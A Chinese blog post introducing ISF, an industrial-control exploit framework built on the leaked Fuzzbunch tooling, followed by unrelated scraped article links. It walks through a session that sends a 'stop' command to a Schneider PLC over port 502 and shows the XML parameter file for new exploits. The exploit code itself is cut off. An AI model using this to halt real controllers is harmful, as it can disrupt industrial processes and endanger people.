工控漏洞利用框架 - ISF(Industrial Security Framework)
一、 框架介绍
本框架主要使用Python语言开发,通过集成ShadowBroker释放的NSA工具Fuzzbunch攻击框架,开发一款适合工控漏洞利用的框架。由于Fuzzbunch攻击框架仅适用于Python2.6,很多核心的功能都封装成了DLL,通过函数进行调用,不便于后期的移植和使用。但是,Fuzzbunch的命令行使用的确很方便,而且够傻瓜,所以就有集成一个适合工控漏洞利用的框架想法。新框架对主要的接口使用Python重新实现,所以支持Python2.X版本。
肯定会有人问,有牛逼的MSF,搞这个玩竟儿有什么用?主要基于如下几点考虑
- MSF命令行使用不够傻瓜,纯属个人观点,仅供参考。
- 工控的很多私用协议都使用Python开发,有很多优秀的Python框架(如scapy、kitty),集成在MSF很麻烦,有一个Python的框架会方便很多。
- 最主要的一个原因是,从事工控安全以来,本人一直在使用Python,很多脚本都是基于Python开发的,想将手上所有的资源进行整合,提供一个统一的平台,方便。
二、 框架使用
进入目录,执行如下命令:
python main.py
界面显示如下:
D:\isf\isf>python main.py
???
???????????????
????? ?????
???? ????
???? ????
??? ???
??? ?? ???
??? ???????? ???
??? ??????????? ???
??? ????????????? ???
?? ??????????????? ??
?? ????????????????? ??
?? ?????? ????? ??
?? ??????????? ??
?? ??????????? ??
?? ????????? ??
??? ??????? ???
??? ????? ???
??? ??????????? ???
??? ????????????????? ???
??? ???????????????????? ???
?????????????????????????????
???????????????????????????
?????????????????????
---ICSMASTER---
+ - - - - - + [ Version 1.1.1 ] + - - - - - +
+ - - - - - + [ MADE BY ICSMASTER. HTTP://ICSMASTER.COM ] + - - - - - +
[*] Loading Plugins
[*] Initializing isf v1.1.1
[*] Adding Global Variables
[+] Set ResourcesDir =>. c:\isf\Resources
[+] Set Color =>. True
[+] Set ShowHiddenParameters =>. False
[+] Set NetworkTimeout =>. 60
[+] Set LogDir =>. D:\isf\isf\logs
[*] Autorun ON
Exploit Autorun List
====================
0) apply
1) touch all
2) prompt confirm
3) execute
Payload Autorun List
====================
0) apply
1) prompt confirm
2) execute
[+] Set ISFStorage =>. D:\isf\isf\storage
isf >
show命令使用,显示当前所有的插件,如下所示
isf > show Plugin Categories
================= Category Active Plugin
-------- -------------
Exploit None
Payload None isf > show Exploit Plugin Category: Exploit
======================== Name Version
---- -------
Schneider_CPU_Command 1.1.0
Siemens_300_400_CPU_Control 1.1.0
use命令使用,调用相关插件,并根据命令行提示配置参数,如下所示
isf > use Schneider_CPU_Command [!] Entering Plugin Context :: Schneider_CPU_Command
[*] Applying Global Variables [*] Applying Session Parameters
[*] Running Exploit Touches [!] Enter Prompt Mode :: Schneider_CPU_Command Module: Schneider_CPU_Command
============================= Name Value
---- -----
TargetIp
TargetPort 502
Command stop [!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] : [*] TargetIp :: Target IP Address [?] TargetIp [] : 192.168.1.30
[+] Set TargetIp => 192.168.1.30 [*] TargetPort :: Target Port [?] TargetPort [502] :
[+] Set TargetPort => 502 [*] Command :: The control command of cpu [stop/start] [?] Command [stop] :
[+] Set Command => stop [!] Preparing to Execute Schneider_CPU_Command Module: Schneider_CPU_Command
============================= Name Value
---- -----
TargetIp 192.168.1.30
TargetPort 502
Command stop [?] Execute Plugin? [Yes] :
[*] Executing Plugin
logging to file
[+] Schneider_CPU_Command Succeeded
三、 EXP编写
编写一个EXP需要包含两个文件,一个参数描述性的文件 .xml 和 一个漏洞脚本文件 .py,两个文件的名字需要相同,xml定义输入输出的参数的基本信息,如下所示,EXP需要三个参数,分别是TargetIp、TargetPort、Command。注意:XML文件中 name 字段不能重复。
<?xml version="1.0"?>
<t:config id="c72514379eaad943b62f4080a5ae1dc61619f0f3"
name="Schneider_CPU_Command"
version="1.1.0"
configversion="1.1.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'> <t:inputparameters>
<t:parameter name="TargetIp"
description="Target IP Address"
type="IPv4"/>
<t:parameter name="TargetPort"
description="Target Port"
type="TcpPort"
default="502"/>
<t:parameter name="Command"
description="The control command of cpu [stop/start]"
type="String"
default="stop"/>
</t:inputparameters>
</t:config>
漏洞利用脚本编写方法如下,如果不清楚可以直接拷贝如下模板进行修改
1、继承基础类 BaseExploit 2、填写POC基础信息 pocinfo 3、注册命令行,向register_options变量增加make_option对象即可,注意参数名称需要与xml文件保持一致 4、实现exploit函数
1 |
#!/usr/bin/env python |
工控漏洞利用框架 - ISF(Industrial Security Framework)的更多相关文章
- 自动化移动安全渗透测试框架:Mobile Security Framework
自动化移动安全渗透测试框架:Mobile Security Framework 译/Sphinx 测试开发社区 7月3日 Mobile Security Framework (移动安全框架) 是一 ...
- 工控安全入门(七)—— plc的网络
上一篇我们详细分析了bootram和Vxworks的基本启动流程,这篇文章中我们把视线转到plc的网络部分,同时来复现我们第一个.第二个工控安全漏洞. VxWorks的网络设备驱动 一般我们说有三种设 ...
- 7. Vulnerability exploitation tools (漏洞利用工具 11个)
Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...
- Nmap从探测到漏洞利用备忘录 – Nmap简介(一)
在侦查期间,扫描一直是信息收集的初始阶段. 什么是侦查 侦查是尽可能多收集关于目标网络的信息.从黑客的角度来看,信息收集对于一次攻击非常有用,所以为了封锁恶意的企图,渗透测试者通常尽力查找这些信息,发 ...
- 工控随笔_09_西门子_S7-200 Smart与V20 USS通信USS_RPM_R利用轮询的方式通讯异常
前两天处理过一个故障,是S7-200 Smart与V20的USS通讯,设备厂家在程序里面利 用USS_RPM _R程序循环轮询5个V20设备读取频率和电流值等信息. 图 USS_RPM_R读取信息 上 ...
- 工控随笔_07_西门子_WinCC利用命令行实现操作log日志
在WinCC中可以通过报警纪录来实现操作员纪录,这个需要WinCC的消息系统进行组态和配置. 利用消息系统进行实现上诉功能不但复杂而且时间久啦也不方便查询.那么有没有一种简单的方法来 实现操作员纪录呢 ...
- 工控随笔_02_西门子_WinCC的IO域利用C脚本返回值
WinCC的输入输出域用来显示信息或者接受操作人员的输入.当作为显示功能时,只有直接的变量连接 才能正常的显示,如果使用动态对话框进行设置且用了表达式则不能正确显示. 但是有时候我们在WinCC变量管 ...
- Kali Linux渗透基础知识整理(三):漏洞利用
漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...
- 工控安全入门之Ethernet/IP
这一篇依然是协议层面的,协议层面会翻译三篇,下一篇是电力系统中用的比较多的DNP3.这一篇中大部分引用的资料都可以访问到,只有一篇reversemode.com上的writeup(http://rev ...
随机推荐
- Js 使用Map
function Map() { this.elements = new Array(); this.size = function() { return this.elements.length; ...
- 基于Opencv的梯度及其方向
我们都知道梯度很好求,只需要将[-1,1] 与图像分别在x 方向和y方向卷积,即可求得两个方向上的梯度.不过在求梯度方向时,还是有些麻烦,因为梯度方向会指向360°的任何一个方向,所以直接用atan( ...
- Python3 Selenium自动化web测试 ==> 第二节 页面元素的定位方法 -- iframe专题 <下>
学习目的: 掌握iframe矿建的定位,因为前端的iframe框架页面元素信息,大多时候都会带有动态ID,无法重复定位. 场景: 1. iframe切换 查看iframe 切换iframe 多个ifr ...
- Django:(02)项目配置
上一篇我们创建了一个Django项目,并且让它运行了起来了. 当是,我们还没有使用到我们创建的应用,以及templates模版目录. 需求: 在此之前我们根据需要对我们的项目进行配置修改. 在项目开发 ...
- STS如何将一个文件夹设置缺省的创建路径(build path)
STS中的build path是一种缺省的路径,相当于windows的环境变量中的path,利用它可以将jsp等文件放入其中,程序只需要文件名就可以找到它. (1)在Package Explorer中 ...
- k8s 工具集
Volcano 资源调度器 apollo 配置中心 spinnaker 持续部署系统 jaeger 分布式跟踪系统.它用于监视和诊断基于微服务的分布式系统,包括: 分布式上下文传播 分布式交易监控 根 ...
- JQuery自动填充控件:autocomplete(自己稍作了修改)
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- es5实现map/filter
// ES5循环循环实现filter const selfFilter = function (fn, context) { let arr = Array.prototype.slice.call( ...
- SQL 拼接字符串 使用IN查询方法
问题描述 当在 SQL SERVER 中查询的时候,同事遇到一个字段存储的字符串为用逗号分隔的主键 ID 值,格式为:1,2,3,4,这时候需要查询符合条件的所有数据,所以选择使用 IN 查询,但是直 ...
- Synchronize和ReentrantLock区别
转自:https://blog.csdn.net/m0_37700275/article/details/83151850 目录介绍1.Synchronize和ReentrantLock区别 1.1 ...